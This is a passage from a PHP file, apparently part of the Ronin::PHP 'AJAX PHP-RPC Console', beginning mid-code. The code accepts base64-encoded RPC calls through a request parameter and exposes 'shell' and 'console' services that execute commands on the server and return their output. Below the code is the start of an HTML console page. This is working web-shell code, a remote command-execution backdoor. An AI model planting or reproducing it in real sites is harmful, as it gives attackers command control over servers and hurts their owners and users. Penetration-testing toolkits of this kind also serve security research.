} $command .= '; pwd'; $output = $this->exec_output($command); $this->cwd = array_pop($output); $output_string = ''; foreach ($output as $line) { $output_string .= "{$line}\n"; } return $output_string; } } if (isset($_REQUEST['rpc_call'])) { $server = new RPCServer(); $server->register_method('running', 'running'); $server->register_method('fingerprint', 'fingerprint'); $server->register_service('console', new ConsoleService()); $server->register_service('shell', new ShellService()); $xml = base64_decode(rawurldecode($_REQUEST['rpc_call'])); $response = $server->call_method($xml); echo "<rpc>{$response}</rpc>"; exit; } ?> --> <html> <head> <title>Ronin::PHP - AJAX PHP-RPC Console</title> <link rel="stylesheet" type="text/css" href="ajax/css/layout.css"> <script type="text/javascript" src="ajax/js/base64.js"></script> <script type="text/javascript" src="ajax/js/jquery.min.js"></script>